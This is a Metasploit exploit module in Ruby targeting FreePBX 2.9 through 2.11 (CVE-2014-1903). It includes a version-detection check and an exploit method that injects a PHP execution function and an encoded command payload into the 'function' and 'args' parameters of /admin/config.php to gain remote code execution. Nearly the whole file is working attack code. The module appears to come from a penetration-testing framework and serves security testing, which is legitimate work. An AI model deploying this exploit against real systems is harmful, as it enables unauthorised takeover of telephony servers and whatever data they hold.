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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "FreePBX config.php Remote Code Execution",
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        'Description' => %q{
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          This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
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          It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
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          parameters "function" and "args".
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'i-Hmx', # Vulnerability discovery
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          '0x00string', # PoC
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          'xistence <xistence[at]0x90.nl>' # Metasploit module
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        ],
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        'References' => [
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          ['CVE', '2014-1903'],
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          ['OSVDB', '103240'],
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          ['EDB', '32214'],
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          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
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        ],
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Targets' => [
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          ['FreePBX', {}]
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2014-03-21',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
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      ]
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    )
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    register_advanced_options(
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      [
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        OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
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      ]
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    )
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  end
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  def check
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    vprint_status("Trying to detect installed version")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")
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    })
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    if res and res.code == 200 and res.body =~ /^(.*)$/
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      version = $1
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    else
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      return Exploit::CheckCode::Unknown
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    end
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    vprint_status("Version #{version} detected")
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    if version =~ /2\.(9|10|11)\.0/
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      return Exploit::CheckCode::Appears
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    rand_data = rand_text_alpha_lower(rand(10) + 5)
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    print_status("Sending payload")
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri' => normalize_uri(target_uri.path, "admin", "config.php"),
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      'vars_get' => {
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        "display" => rand_data,
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        "handler" => "api",
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        "function" => datastore['PHPFUNC'],
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        "args" => payload.encoded
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      }
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    })
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    # If we don't get a 200 when we request our malicious payload, we suspect
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    # we don't have a shell, either.
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    if res and res.code != 200
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      print_error("Unexpected response, exploit probably failed!")
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    end
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  end
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end
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